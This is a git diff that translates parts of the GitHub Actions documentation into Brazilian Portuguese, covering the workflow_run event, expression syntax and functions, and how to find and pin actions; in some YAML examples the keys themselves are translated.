+* Você não pode usar `workflow_run` para encadear mais de três níveis de fluxos de trabalho. Por exemplo, se você tentar acionar cinco fluxos de trabalho (denominado `B` a `F`) para serem executados sequencialmente após a execução de um fluxo de trabalho inicial `A` (isto é: `A` → `B` → `C` → `D` → `E` → `F`), os fluxos de trabalho `E` e `F` não serão executados.
 
 {% endnote %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`workflow_run`](/webhooks/event-payloads/#workflow_run) | - `completed`<br/>- `requested` | Last commit on default branch | Default branch |
+| Carga de evento webhook                                  | Tipos de atividade                    | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| -------------------------------------------------------- | ------------------------------------- | ------------------------------ | ------------- |
+| [`workflow_run`](/webhooks/event-payloads/#workflow_run) | - `completed`<br/>- `requested` | Último commit no branch padrão | Branch padrão |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-If you need to filter branches from this event, you can use `branches` or `branches-ignore`.
+Se precisar filtrar os branches desse evento, você poderá usar `branches` ou `branches-ignore`.
 
-In this example, a workflow is configured to run after the separate "Run Tests" workflow completes.
+Neste exemplo, um fluxo de trabalho está configurado para ser executado após o fluxo de trabalho "Executar Testes" separado ser concluído.
 
 ```yaml
 on:
@@ -837,7 +837,7 @@ on:
       - requested
 ```
 
-To run a workflow job conditionally based on the result of the previous workflow run, you can use the [`jobs.<job_id>.if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idif) or [`jobs.<job_id>.steps[*].if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif) conditional combined with the `conclusion` of the previous run. For example:
+Para executar um trabalho de fluxo de trabalho condicionalmente baseado no resultado da execução do fluxo de trabalho anterior, você pode usar a condicional [`jobs.<job_id>.if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idif) ou [`jobs.<job_id>.steps[*].if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif) combinada com com a conclusão `` da execução anterior. Por exemplo:
 
 ```yaml
 on:
@@ -858,8 +858,8 @@ jobs:
       ...
 ```
 
-## Triggering new workflows using a personal access token
+## Acionar novos fluxos de trabalho usando um token de acesso pessoal
 
-{% data reusables.github-actions.actions-do-not-trigger-workflows %} For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)."
+{% data reusables.github-actions.actions-do-not-trigger-workflows %} Para obter mais informações, consulte "[Efetuando a autenticação com o GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)".
 
-If you would like to trigger a workflow from a workflow run, you can trigger the event using a personal access token. You'll need to create a personal access token and store it as a secret. To minimize your {% data variables.product.prodname_actions %} usage costs, ensure that you don't create recursive or unintended workflow runs. For more information on storing a personal access token as a secret, see "[Creating and storing encrypted secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)."
+Se você deseja acionar um fluxo de trabalho a partir de uma execução do fluxo de trabalho, você pode acionar o evento usando um token de acesso pessoal. Você deverá criar um token de acesso pessoal e armazená-lo como um segredo. Para minimizar seus custos de uso {% data variables.product.prodname_actions %}, certifique-se de que você não cria execução de fluxo de trabalho recursivo ou não intencional. Para mais informações sobre como armazenar um token de acesso pessoal como segredo, consulte "[Criar e armazenar segredos criptografados](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)".
diff --git a/translations/pt-BR/content/actions/learn-github-actions/expressions.md b/translations/pt-BR/content/actions/learn-github-actions/expressions.md
index 43a4e14853..4e375cce58 100644
--- a/translations/pt-BR/content/actions/learn-github-actions/expressions.md
+++ b/translations/pt-BR/content/actions/learn-github-actions/expressions.md
@@ -1,7 +1,7 @@
 ---
-title: Expressions
-shortTitle: Expressions
-intro: You can evaluate expressions in workflows and actions.
+title: Expressões
+shortTitle: Expressões
+intro: Você pode avaliar expressões em fluxos de trabalho e ações.
 versions:
   fpt: '*'
   ghes: '*'
@@ -13,23 +13,23 @@ miniTocMaxHeadingLevel: 3
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About expressions
+## Sobre as expressões
 
-You can use expressions to programmatically set variables in workflow files and access contexts. An expression can be any combination of literal values, references to a context, or functions. You can combine literals, context references, and functions using operators. For more information about contexts, see "[Contexts](/actions/learn-github-actions/contexts)."
+Você pode usar expressões para configurar variáveis por programação em arquivos de fluxo de trabalho e acessar contextos. Uma expressão pode ser qualquer combinação de valores literais, referências a um contexto ou funções. É possível combinar literais, referências de contexto e funções usando operadores. Para obter mais informações sobre os contextos, consulte "[Contextos](/actions/learn-github-actions/contexts)".
 
-Expressions are commonly used with the conditional `if` keyword in a workflow file to determine whether a step should run. When an `if` conditional is `true`, the step will run.
+Expressões são comumente usadas com a condicional `if` palavra-chave em um arquivo de fluxo de trabalho para determinar se uma etapa deve ser executada. Quando uma condicional `if` for `true`, a etapa será executada.
 
-You need to use specific syntax to tell {% data variables.product.prodname_dotcom %} to evaluate an expression rather than treat it as a string.
+É necessário usar uma sintaxe específica para avisar o {% data variables.product.prodname_dotcom %} para avaliar a expressão e não tratá-la como uma string.
 
 {% raw %}
 `${{ <expression> }}`
 {% endraw %}
 
-{% data reusables.github-actions.expression-syntax-if %} For more information about `if` conditionals, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)."
+{% data reusables.github-actions.expression-syntax-if %} Para obter mais informações sobre as condições `se`, consulte "[Sintaxe de fluxo de trabalho para {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)".
 
 {% data reusables.github-actions.context-injection-warning %}
 
-#### Example expression in an `if` conditional
+#### Exemplo de expressão em uma condicional `if`
 
 ```yaml
 steps:
@@ -37,7 +37,7 @@ steps:
     if: {% raw %}${{ <expression> }}{% endraw %}
 ```
 
-#### Example setting an environment variable
+#### Exemplo de configuração de variável de ambiente
 
 {% raw %}
 ```yaml
@@ -46,18 +46,18 @@ env:
 ```
 {% endraw %}
 
-## Literals
+## Literais
 
-As part of an expression, you can use `boolean`, `null`, `number`, or `string` data types.
+Como parte da expressão, você pode usar os tipos de dados `boolean`, `null`, `number` ou `string`.
 
-| Data type | Literal value |
-|-----------|---------------|
-| `boolean` | `true` or `false` |
-| `null`    | `null` |
-| `number`  | Any number format supported by JSON. |
-| `string`  | You must use single quotes. Escape literal single-quotes with a single quote. |
+| Tipo de dados | Valor do literal                                                                            |
+| ------------- | ------------------------------------------------------------------------------------------- |
+| `boolean`     | `true` ou `false`                                                                           |
+| `null`        | `null`                                                                                      |
+| `number`      | Qualquer formato de número aceito por JSON.                                                 |
+| `string`      | Você deve usar aspas simples. Aspas simples de literal devem ter aspas simples como escape. |
 
-#### Example
+#### Exemplo
 
 {% raw %}
 ```yaml
@@ -73,99 +73,99 @@ env:
 ```
 {% endraw %}
 
-## Operators
+## Operadores
 
-| Operator    | Description |
-| ---         | ---         |
-| `( )`       | Logical grouping |
-| `[ ]`       | Index
-| `.`         | Property dereference |
-| `!`         | Not |
-| `<`         | Less than |
-| `<=`        | Less than or equal |
-| `>`         | Greater than |
-| `>=`        | Greater than or equal |
-| `==`        | Equal |
-| `!=`        | Not equal |
-| `&&`        | And |
-|  <code>\|\|</code> | Or |
+| Operador                  | Descrição                    |
+| ------------------------- | ---------------------------- |
+| `( )`                     | Agrupamento lógico           |
+| `[ ]`                     | Índice                       |
+| `.`                       | Desreferência de propriedade |
+| `!`                       | Não                          |
+| `<`                    | Menor que                    |
+| `<=`                   | Menor ou igual               |
+| `>`                    | Maior que                    |
+| `>=`                   | Maior ou igual               |
+| `==`                      | Igual                        |
+| `!=`                      | Não igual                    |
+| `&&`              | E                            |
+| <code>\|\|</code> | Ou                           |
 
-{% data variables.product.prodname_dotcom %} performs loose equality comparisons.
+O {% data variables.product.prodname_dotcom %} faz comparações livres de igualdade.
 
-* If the types do not match, {% data variables.product.prodname_dotcom %} coerces the type to a number. {% data variables.product.prodname_dotcom %} casts data types to a number using these conversions:
+* Se os tipos não correspondem, o {% data variables.product.prodname_dotcom %} força o tipo para um número. O {% data variables.product.prodname_dotcom %} converte tipos de dados em um número usando estes esquemas:
 
-  | Type    | Result |
-  | ---     | ---    |
-  | Null    | `0` |
-  | Boolean | `true` returns `1` <br /> `false` returns `0` |
-  | String  | Parsed from any legal JSON number format, otherwise `NaN`. <br /> Note: empty string returns `0`. |
-  | Array   | `NaN` |
-  | Object  | `NaN` |
-* A comparison of one `NaN` to another `NaN` does not result in `true`. For more information, see the "[NaN Mozilla docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)."
-* {% data variables.product.prodname_dotcom %} ignores case when comparing strings.
-* Objects and arrays are only considered equal when they are the same instance.
+  | Tipo     | Resultado                                                                                                                      |
+  | -------- | ------------------------------------------------------------------------------------------------------------------------------ |
+  | Nulo     | `0`                                                                                                                            |
+  | Booleano | `true` retorna `1` <br /> `false` retorna `0`                                                                            |
+  | string   | Analisado com base em qualquer formato de número JSON; do contrário, `NaN`. <br /> Observação: string vazia retorna `0`. |
+  | Array    | `NaN`                                                                                                                          |
+  | Object   | `NaN`                                                                                                                          |
+* Uma comparação de um `NaN` com outro `NaN` não resulta em `true`. Para obter mais informações, consulte os "[docs NaN Mozilla](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)."
+* O {% data variables.product.prodname_dotcom %} ignora as maiúsculas e minúsculas ao comparar strings.
+* Objetos e arrays só são considerados iguais quando forem a mesma instância.
 
-## Functions
+## Funções
 
-{% data variables.product.prodname_dotcom %} offers a set of built-in functions that you can use in expressions. Some functions cast values to a string to perform comparisons. {% data variables.product.prodname_dotcom %} casts data types to a string using these conversions:
+O {% data variables.product.prodname_dotcom %} oferece um conjunto de funções integradas que podem ser usadas em expressões. Algumas funções convertem valores em uma string para realizar comparações. O {% data variables.product.prodname_dotcom %} converte tipos de dados em uma string usando estes esquemas:
 
-| Type    | Result |
-| ---     | ---    |
-| Null    | `''` |
-| Boolean | `'true'` or `'false'` |
-| Number  | Decimal format, exponential for large numbers |
-| Array   | Arrays are not converted to a string |
-| Object  | Objects are not converted to a string |
+| Tipo     | Resultado                                       |
+| -------- | ----------------------------------------------- |
+| Nulo     | `''`                                            |
+| Booleano | `'true'` ou `'false'`                           |
+| Número   | Formato decimal, exponencial para números altos |
+| Array    | Arrays não são convertidos em uma string        |
+| Object   | Objetos não são convertidos em uma string       |
 
 ### contains
 
 `contains( search, item )`
 
-Returns `true` if `search` contains `item`. If `search` is an array, this function returns `true` if the `item` is an element in the array. If `search` is a string, this function returns `true` if the `item` is a substring of `search`. This function is not case sensitive. Casts values to a string.
+Retorna `verdadeiro` se a `pesquisa` contiver `item`. Se a `pesquisa` for uma array, essa função retornará `verdadeiro` se o item `` for um elemento na array. Se a `pesquisa` for uma string, essa função retornará `verdadeiro` se o `item` for uma substring da `pesquisa`. Essa função não diferencia maiúsculas de minúsculas. Lança valores em uma string.
 
-#### Example using an array
+#### Exemplo de uso de array
 
 `contains(github.event.issue.labels.*.name, 'bug')`
 
-#### Example using a string
+#### Exemplo de uso de string
 
-`contains('Hello world', 'llo')` returns `true`
+`contains('Hello world', 'llo')` retorna `true`
 
 ### startsWith
 
 `startsWith( searchString, searchValue )`
 
-Returns `true` when `searchString` starts with `searchValue`. This function is not case sensitive. Casts values to a string.
+Retorna `true` quando `searchString` começar com `searchValue`. Essa função não diferencia maiúsculas de minúsculas. Lança valores em uma string.
 
-#### Example
+#### Exemplo
 
-`startsWith('Hello world', 'He')` returns `true`
+`startsWith('Hello world', 'He')` retorna `true`
 
 ### endsWith
 
 `endsWith( searchString, searchValue )`
 
-Returns `true` if `searchString` ends with `searchValue`. This function is not case sensitive. Casts values to a string.
+Retorna `true` se `searchString` terminar com `searchValue`. Essa função não diferencia maiúsculas de minúsculas. Lança valores em uma string.
 
-#### Example
+#### Exemplo
 
-`endsWith('Hello world', 'ld')` returns `true`
+`endsWith('Hello world', 'ld')` retorna `true`
 
 ### format
 
 `format( string, replaceValue0, replaceValue1, ..., replaceValueN)`
 
-Replaces values in the `string`, with the variable `replaceValueN`. Variables in the `string` are specified using the `{N}` syntax, where `N` is an integer. You must specify at least one `replaceValue` and `string`. There is no maximum for the number of variables (`replaceValueN`) you can use. Escape curly braces using double braces.
+Substitui valores na `string` pela variável `replaceValueN`. As variáveis na `string` são especificadas usando a sintaxe `{N}`, onde `N` é um inteiro. Você deve especificar pelo menos um `replaceValue` e `string`. Não há máximo para o número de variáveis (`replaceValueN`) que você pode usar. Escape de chaves usando chaves duplas.
 
-#### Example
+#### Exemplo
 
-Returns 'Hello Mona the Octocat'
+Retorna 'Hello Mona the Octocat'
 
 `format('Hello {0} {1} {2}', 'Mona', 'the', 'Octocat')`
 
-#### Example escaping braces
+#### Exemplo de escape de chaves
 
-Returns '{Hello Mona the Octocat!}'
+Returna '{Hello Mona the Octocat!}'
 
 {% raw %}
 ```js
@@ -177,9 +177,9 @@ format('{{Hello {0} {1} {2}!}}', 'Mona', 'the', 'Octocat')
 
 `join( array, optionalSeparator )`
 
-The value for `array` can be an array or a string. All values in `array` are concatenated into a string. If you provide `optionalSeparator`, it is inserted between the concatenated values. Otherwise, the default separator `,` is used. Casts values to a string.
+O valor para `array` pode ser uma array ou uma string. Todos os valores na `array` são concatenados em uma string. Se você fornecer `optionalSeparator`, ele será inserido entre os valores concatenados. Caso contrário, será usado o separador-padrão `,`. Lança valores em uma string.
 
-#### Example
+#### Exemplo
 
 `join(github.event.issue.labels.*.name, ', ')` may return 'bug, help wanted'
 
@@ -187,21 +187,21 @@ The value for `array` can be an array or a string. All values in `array` are con
 
 `toJSON(value)`
 
-Returns a pretty-print JSON representation of `value`. You can use this function to debug the information provided in contexts.
+Retorna uma bela representação JSON de `value`. Você pode usar essa função para depurar as informações fornecidas em contextos.
 
-#### Example
+#### Exemplo
 
-`toJSON(job)` might return `{ "status": "Success" }`
+`toJSON(job)` pode retornar `{ "status": "Success" }`
 
 ### fromJSON
 
 `fromJSON(value)`
 
-Returns a JSON object or JSON data type for `value`. You can use this function to provide a JSON object as an evaluated expression or to convert environment variables from a string.
+Retorna um objeto do JSON ou tipo de dado do JSON para `valor`. Você pode usar esta função para fornecer um objeto do JSON como uma expressão avaliada ou para converter variáveis de ambiente de uma string.
 
-#### Example returning a JSON object
+#### Exemplo que retorna um objeto do JSON
 
-This workflow sets a JSON matrix in one job, and passes it to the next job using an output and `fromJSON`.
+Este fluxo de trabalho define uma matriz JSON em um trabalho, e o passa para o próximo trabalho usando uma saída do `fromJSON`.
 
 {% raw %}
 ```yaml
@@ -225,9 +225,9 @@ jobs:
 ```
 {% endraw %}
 
-#### Example returning a JSON data type
+#### Exemplo que retorna um tipo de dado do JSON
 
-This workflow uses `fromJSON` to convert environment variables from a string to a Boolean or integer.
+Este fluxo de trabalho usa `fromJSON` para converter variáveis de ambiente de uma string para um número inteiro ou booleano.
 
 {% raw %}
 ```yaml
@@ -250,110 +250,110 @@ jobs:
 
 `hashFiles(path)`
 
-Returns a single hash for the set of files that matches the `path` pattern. You can provide a single `path` pattern or multiple `path` patterns separated by commas. The `path` is relative to the `GITHUB_WORKSPACE` directory and can only include files inside of the `GITHUB_WORKSPACE`. This function calculates an individual SHA-256 hash for each matched file, and then uses those hashes to calculate a final SHA-256 hash for the set of files. For more information about SHA-256, see "[SHA-2](https://en.wikipedia.org/wiki/SHA-2)."
+Retorna um único hash para o conjunto de arquivos que correspondem ao padrão do `caminho`. Você pode fornecer um único padrão de `caminho` ou vários padrões de `caminho` separados por vírgulas. O `caminho` é relativo ao diretório `GITHUB_WORKSPACE` e pode incluir apenas arquivos dentro do `GITHUB_WORKSPACE`. Essa função calcula uma hash SHA-256 individual para cada arquivo correspondente e, em seguida, usa esses hashes para calcular um hash SHA-256 final para o conjunto de arquivos. Para obter mais informações sobre o SHA-256, consulte "[SHA-2](https://en.wikipedia.org/wiki/SHA-2)".
 
-You can use pattern matching characters to match file names. Pattern matching is case-insensitive on Windows. For more information about supported pattern matching characters, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)."
+Você pode usar a correspondência de padrão de caracteres para corresponder os nomes dos arquivos. No Windows, a correspondência do padrão diferencia maiúsculas e minúsculas. Para obter mais informações sobre caracteres de correspondência de padrões suportados, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)".
 
-#### Example with a single pattern
+#### Exemplo com um padrão único
 
-Matches any `package-lock.json` file in the repository.
+Corresponde qualquer arquivo `package-lock.json` no repositório.
 
 `hashFiles('**/package-lock.json')`
 
-#### Example with multiple patterns
+#### Exemplo com vários padrões
 
-Creates a hash for any `package-lock.json` and `Gemfile.lock` files in the repository.
+Cria um hash para arquivos de `pacote-lock.json` e `Gemfile.lock` no repositório.
 
 `hashFiles('**/package-lock.json', '**/Gemfile.lock')`
 
-## Status check functions
+## Funções de verificação de status
 
-You can use the following status check functions as expressions in `if` conditionals. A default status check of `success()` is applied unless you include one of these functions. For more information about `if` conditionals, see "[Workflow syntax for GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)" and "[Metadata syntax for GitHub Composite Actions](/actions/creating-actions/metadata-syntax-for-github-actions/#runsstepsif)".
+Você pode usar as funções de verificação de status a seguir como expressões nas condicionais `if`. Uma verificação de status padrão de `success()` é aplicada, a menos que você inclua uma dessas funções. Para obter mais informações sobre as condicionais `if`, consulte "[Sintaxe fluxo de trabalho para o GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)" e "[Sintaxe de metadados para o GitHub Composite Actions](/actions/creating-actions/metadata-syntax-for-github-actions/#runsstepsif)".
 
 ### success
 
-Returns `true` when none of the previous steps have failed or been canceled.
+Retorna `verdadeiro` quando não ocorrer falha em nenhuma das etapas anteriores falhar ou quando não for cancelada.
 
-#### Example
+#### Exemplo
 
 ```yaml
-steps:
+etapas:
   ...
-  - name: The job has succeeded
-    if: {% raw %}${{ success() }}{% endraw %}
+  - nome: O trabalho foi bem-sucedido
+    se: {% raw %}${{ success() }}{% endraw %}
 ```
 
 ### always
 
-Causes the step to always execute, and returns `true`, even when canceled. A job or step will not run when a critical failure prevents the task from running. For example, if getting sources failed.
+Faz com que a etapa seja sempre executada e retorna `verdadeiro`, mesmo quando cancelada. Um trabalho ou uma etapa não será executado(a) quando uma falha crítica impedir a tarefa de ser executada. Por exemplo, se houver falha ao obter as fontes.
 
-#### Example
+#### Exemplo
 
 ```yaml
-if: {% raw %}${{ always() }}{% endraw %}
+se: {% raw %}${{ always() }}{% endraw %}
 ```
 
 ### cancelled
 
-Returns `true` if the workflow was canceled.
+Retornará `true` se o fluxo de trabalho foi cancelado.
 
-#### Example
+#### Exemplo
 
 ```yaml
-if: {% raw %}${{ cancelled() }}{% endraw %}
+se: {% raw %}${{ cancelled() }}{% endraw %}
 ```
 
 ### failure
 
-Returns `true` when any previous step of a job fails. If you have a chain of dependent jobs, `failure()` returns `true` if any ancestor job fails.
+Retorna `verdadeiro` quando ocorre uma falha no trabalho em qualquer etapa anterior. Se você tem uma cadeia de trabalhos dependentes, `fracasso()` retorna `verdadeiro` se algum trabalho ancestral falhar.
 
-#### Example
+#### Exemplo
 
 ```yaml
-steps:
+etapas:
   ...
-  - name: The job has failed
+  - nome: Ocorreu uma falha no trabalho
     if: {% raw %}${{ failure() }}{% endraw %}
 ```
 
-### Evaluate Status Explicitly
+### Avaliar status explicitamente
 
-Instead of using one of the methods above, you can evaluate the status of the job or composite action that is executing the step directly:
+Em vez de usar um dos métodos acima, você pode avaliar o status do trabalho ou ação composta que está executando a etapa diretamente:
 
-#### Example for workflow step
+#### Exemplo para etapa de fluxo de trabalho
 
 ```yaml
-steps:
+etapas:
   ...
   - name: The job has failed
     if: {% raw %}${{ job.status == 'failure' }}{% endraw %}
 ```
 
-This is the same as using `if: failure()` in a job step.
+Isso é o mesmo que usar `if: failure()` em uma etapa do trabalho.
 
-#### Example for composite action step
+#### Exemplo da etapa de ação composta
 
 ```yaml
-steps:
+etapas:
   ...
   - name: The composite action has failed
     if: {% raw %}${{ github.action_status == 'failure' }}{% endraw %}
 ```
 
-This is the same as using `if: failure()` in a composite action step.
+Isso é o mesmo que usar `if: failure()` em um passo de ação composta.
 
-## Object filters
+## Filtros de objeto
 
-You can use the `*` syntax to apply a filter and select matching items in a collection.
+Você pode usar a sintaxe `*` para aplicar um filtro e selecionar itens correspondentes em uma coleção.
 
-For example, consider an array of objects named `fruits`.
+Por exemplo, pense em um array de objetos de nome `frutas`.
 
 ```json
 [
-  { "name": "apple", "quantity": 1 },
-  { "name": "orange", "quantity": 2 },
-  { "name": "pear", "quantity": 1 }
+  { "name": "maçã", "quantidade": 1 },
+  { "name": "laranja", "quantidade": 2 },
+  { "name": "pera", "quantidade": 1 }
 ]
 ```
 
-The filter `fruits.*.name` returns the array `[ "apple", "orange", "pear" ]`
+O filtro `frutas.*.name` retorna o array `[ "maçã", "laranja", "pera" ]`
diff --git a/translations/pt-BR/content/actions/learn-github-actions/finding-and-customizing-actions.md b/translations/pt-BR/content/actions/learn-github-actions/finding-and-customizing-actions.md
index 5b71215cd5..6df7d9b69c 100644
--- a/translations/pt-BR/content/actions/learn-github-actions/finding-and-customizing-actions.md
+++ b/translations/pt-BR/content/actions/learn-github-actions/finding-and-customizing-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Finding and customizing actions
-shortTitle: Finding and customizing actions
-intro: 'Actions are the building blocks that power your workflow. A workflow can contain actions created by the community, or you can create your own actions directly within your application''s repository. This guide will show you how to discover, use, and customize actions.'
+title: Procurar e personalizar ações
+shortTitle: Procurar e personalizar ações
+intro: 'Ações são os blocos de construção que alimentam seu fluxo de trabalho. Um fluxo de trabalho pode conter ações criadas pela comunidade, ou você pode criar suas próprias ações diretamente no repositório do seu aplicativo. Este guia mostrará como descobrir, usar e personalizar ações.'
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/using-github-marketplace-actions
   - /actions/automating-your-workflow-with-github-actions/using-actions-from-github-marketplace-in-your-workflow
@@ -20,92 +20,89 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## Visão Geral
 
-The actions you use in your workflow can be defined in:
+As ações que você usa no seu fluxo de trabalho podem ser definidas em:
 
-- A public repository
-- The same repository where your workflow file references the action
-- A published Docker container image on Docker Hub
+- Um repositório público
+- O mesmo repositório onde o arquivo do fluxo de trabalho faz referência à ação
+- Uma imagem publicada do contêiner Docker no Docker Hub
 
-{% data variables.product.prodname_marketplace %} is a central location for you to find actions created by the {% data variables.product.prodname_dotcom %} community.{% ifversion fpt or ghec %} [{% data variables.product.prodname_marketplace %} page](https://github.com/marketplace/actions/) enables you to filter for actions by category. {% endif %}
+{% data variables.product.prodname_marketplace %} é um local central para você encontrar ações criadas pela comunidade de {% data variables.product.prodname_dotcom %}. {% ifversion fpt or ghec %}[a página de {% data variables.product.prodname_marketplace %} ](https://github.com/marketplace/actions/) permite filtrar ações por categoria. {% endif %}
 
 {% data reusables.actions.enterprise-marketplace-actions %}
 
 {% ifversion fpt or ghec %}
 
-## Browsing Marketplace actions in the workflow editor
+## Navegação nas ações do Marketplace no editor de fluxo de trabalho
 
-You can search and browse actions directly in your repository's workflow editor. From the sidebar, you can search for a specific action, view featured actions, and browse featured categories. You can also view the number of stars an action has received from the {% data variables.product.prodname_dotcom %} community.
+Você pode pesquisar ações diretamente no seu editor do seu fluxo de trabalho do repositório. Na barra lateral, você pode pesquisar uma ação específica, visualizar ações em destaque e pesquisar categorias em destaque. Você também pode visualizar o número de estrelas que uma ação recebeu da comunidade {% data variables.product.prodname_dotcom %}.
 
-1. In your repository, browse to the workflow file you want to edit.
-1. In the upper right corner of the file view, to open the workflow editor, click {% octicon "pencil" aria-label="The edit icon" %}.
-   ![Edit workflow file button](/assets/images/help/repository/actions-edit-workflow-file.png)
-1. To the right of the editor, use the {% data variables.product.prodname_marketplace %} sidebar to browse actions. Actions with the {% octicon "verified" aria-label="The verified badge" %} badge indicate {% data variables.product.prodname_dotcom %} has verified the creator of the action as a partner organization.
-   ![Marketplace workflow sidebar](/assets/images/help/repository/actions-marketplace-sidebar.png)
+1. No seu repositório, pesquise o arquivo do fluxo de trabalho que você deseja editar.
+1. No canto superior direito da vista do arquivo, clique em {% octicon "pencil" aria-label="The edit icon" %} para abrir o editor do fluxo de trabalho. ![Edite o botão do arquivo do fluxo de trabalho](/assets/images/help/repository/actions-edit-workflow-file.png)
+1. No lado direito do editor, use a barra lateral {% data variables.product.prodname_marketplace %} para procurar ações. As ações com o selo de {% octicon "verified" aria-label="The verified badge" %} indicam que {% data variables.product.prodname_dotcom %} verificou o criador da ação como uma organização parceira. ![Barra lateral do fluxo de trabalho do Marketplace](/assets/images/help/repository/actions-marketplace-sidebar.png)
 
-## Adding an action to your workflow
+## Adicionar uma ação ao seu fluxo de trabalho
 
-An action's listing page includes the action's version and the workflow syntax required to use the action. To keep your workflow stable even when updates are made to an action, you can reference the version of the action to use by specifying the Git or Docker tag number in your workflow file.
+Uma página de lista de ações incluem a versão da ação e a sintaxe do fluxo de trabalho necessárias para usar a ação. Para manter seu fluxo de trabalho estável mesmo quando atualizações são feitas em uma ação, você pode fazer referência à versão da ação a ser usada especificando o Git ou da tag do Docker no arquivo de fluxo de trabalho.
 
-1. Navigate to the action you want to use in your workflow.
-1. Under "Installation", click {% octicon "clippy" aria-label="The edit icon" %} to copy the workflow syntax.
-   ![View action listing](/assets/images/help/repository/actions-sidebar-detailed-view.png)
-1. Paste the syntax as a new step in your workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)."
-1. If the action requires you to provide inputs, set them in your workflow. For information on inputs an action might require, see "[Using inputs and outputs with an action](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)."
+1. Navegue para a ação que você deseja usar no seu fluxo de trabalho.
+1. Em "Instalação", clique em {% octicon "clippy" aria-label="The edit icon" %} para copiar a sintaxe do fluxo de trabalho. ![Visualizar lista de ação](/assets/images/help/repository/actions-sidebar-detailed-view.png)
+1. Cole a sintaxe como uma nova etapa no seu fluxo de trabalho. Para obter mais informações, consulte a sintaxe "[ para {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)."
+1. Se a ação exigir que você forneça entradas, defina-as no seu fluxo de trabalho. Para obter informações sobre entradas uma ação pode exigir, consulte "[Usar entradas e saídas com uma ação](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)".
 
 {% data reusables.dependabot.version-updates-for-actions %}
 
 {% endif %}
 
-## Using release management for your custom actions
+## Usar o gerenciamento de versões para suas ações personalizadas
 
-The creators of a community action have the option to use tags, branches, or SHA values to manage releases of the action. Similar to any dependency, you should indicate the version of the action you'd like to use based on your comfort with automatically accepting updates to the action.
+Os criadores de uma ação da comunidade têm a opção de usar tags, branches ou valores do SHA para gerenciar as versçoes da ação. Semelhante a qualquer dependência, você deve indicar a versão da ação que gostaria de usar com para o seu conforto para aceitar automaticamente as atualizações da ação.
 
-You will designate the version of the action in your workflow file. Check the action's documentation for information on their approach to release management, and to see which tag, branch, or SHA value to use.
+Você irá designar a versão da ação no seu arquivo de fluxo de trabalho. Verifique a documentação da ação para informações sobre suas abordagens de gerenciamento de versões e para ver qual tag, branch ou valor de SHA usar.
 
 {% note %}
 
-**Note:** We recommend that you use a SHA value when using third-party actions. For more information, see [Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-third-party-actions)
+**Observação:** Recomendamos que você use um valor SHA quando estiver usando ações de terceiros. Para obter mais informações, consulte [Enrijecimento de segurança para o GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-third-party-actions)
 
 {% endnote %}
 
-### Using tags
+### Usar tags
 
-Tags are useful for letting you decide when to switch between major and minor versions, but these are more ephemeral and can be moved or deleted by the maintainer. This example demonstrates how to target an action that's been tagged as `v1.0.1`:
+As tags são úteis para permitir que você decida quando alternar entre versões maiores e menores, mas estas são mais efêmeras e podem ser movidas ou excluídas pelo mantenedor. Este exemplo demonstra como direcionar uma ação que foi marcada como `v1.0.1`:
 
 ```yaml
 steps:
   - uses: actions/javascript-action@v1.0.1
 ```
 
-### Using SHAs
+### Usar SHAs
 
-If you need more reliable versioning, you should use the SHA value associated with the version of the action. SHAs are immutable and therefore more reliable than tags or branches. However this approach means you will not automatically receive updates for an action, including important bug fixes and security updates. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}You must use a commit's full SHA value, and not an abbreviated value. {% endif %}This example targets an action's SHA:
+Se você precisar de uma versão mais confiável, você deverá usar o valor de SHA associado à versão da ação. Os SHAs são imutáveis e, portanto, mais confiáveis que tags ou branches. No entanto, esta abordagem significa que você não receberá automaticamente atualizações de uma ação, incluindo correções de erros importantes e atualizações de segurança. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Você deve usar o valor completo do SHA de um commit e não um valor abreviado. {% endif %}Este exemplo aponta para o SHA de uma ação:
 
 ```yaml
 steps:
   - uses: actions/javascript-action@172239021f7ba04fe7327647b213799853a9eb89
 ```
 
-### Using branches
+### Usar branches
 
